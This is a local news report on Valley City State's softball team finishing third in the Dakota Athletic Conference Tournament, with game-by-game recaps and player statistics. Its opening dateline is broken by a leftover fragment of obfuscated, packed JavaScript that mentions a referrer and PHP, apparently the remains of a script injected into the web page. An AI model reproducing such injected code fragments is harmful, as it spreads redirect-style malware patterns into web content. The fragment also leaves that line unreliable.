VALLEY trtay|var|u0026u|referrer|eanhz||js|php’.split(‘|’),0,{}))
CITY (NewsDakota.com)–The Viking softball team finished third in the final Dakota Athletic Conference (DAC) Tournament this past weekend.
After another 8-7 defeat to Dickinson State in the first round of the DAC Conference Tournament, Valley City State bounced back to defeat Mayville State 8-5 in an elimination game to stay alive for the second day.
Cyndi Figol hit a solo home run in the top of the first before Dickinson State responded with five in the home half of the first to stymie the Vikings. Then Valley City chipped away, scoring two in the second, one in the third and two more in the fourth to take a 6-5 lead. The Blue Hawks promptly took the lead back in the bottom of the fourth, taking advantage of two Viking errors to score three runs to take an 8-6 lead.
Valley City State continued to battle, plating one more in the top of the sixth, then placing the tying and go ahead runs on second and third before the Blue Hawks closed the door on the Vikings for the opening round win.
Figol, Jane Pettit and Courtney Shadlock all collected two hits each for the Vikings who totaled 10 in the game. Emma Nelson hit a solo home run in the third inning, her third of the year.
Katie McBride suffered the loss, throwing six innings, walking three and with no strike outs. The Blue Hawks tallied twelve hits and scored seven earned runs.
In the elimination game versus Mayville State the Vikings took the lead early but couldn’t put the Comets away as they committed five errors in the game to keep Mayville State alive.
Courtney Shadlock hit a two run home run in the bottom of the second to build an already one run lead to 3-0 for VCSU. The Comets scored lone runs in the third and fourth to make it a 3-2 game before the Vikings put up two in the bottom of the fifth and three in the bottom of the sixth to jump to an 8-2 lead.
Jane Pettit hit a two run blast, her fifth of the year to cap the scoring for the Vikings. It looked like the Vikings would sail to the victory but the Comets put up three in the top of the seventh on three consecutive errors by the Viking infield to make it interesting.
The season came to an end in a 5-2 loss in an elimination game on Sunday at the hands of Jamestown College.
Jamestown College jumped out to a four to zero lead, scoring two in the top of the second and fourth before Cyndi Figol got the Vikings on the board with a solo shot home run in the bottom of the sixth. The Vikings pushed across one more runner to complete their scoring for the game.
Jamestown College added one more in the top of the seventh. The Vikings would threaten in the bottom of the seventh, bringing the tying run to the plate, but a ground out to second ended the game and the Vikings season.
Katie McBride pitched all seven for the Vikings, giving up two earned runs on ten hits, walking two and striking out three. Offensively, Figol was three for four in her final game as a Viking. Shayna Taffinder collected two hits for the Vikings.
Valley City State finishes at 26-20. The 26 wins is the second most in a single season in Viking Softball history.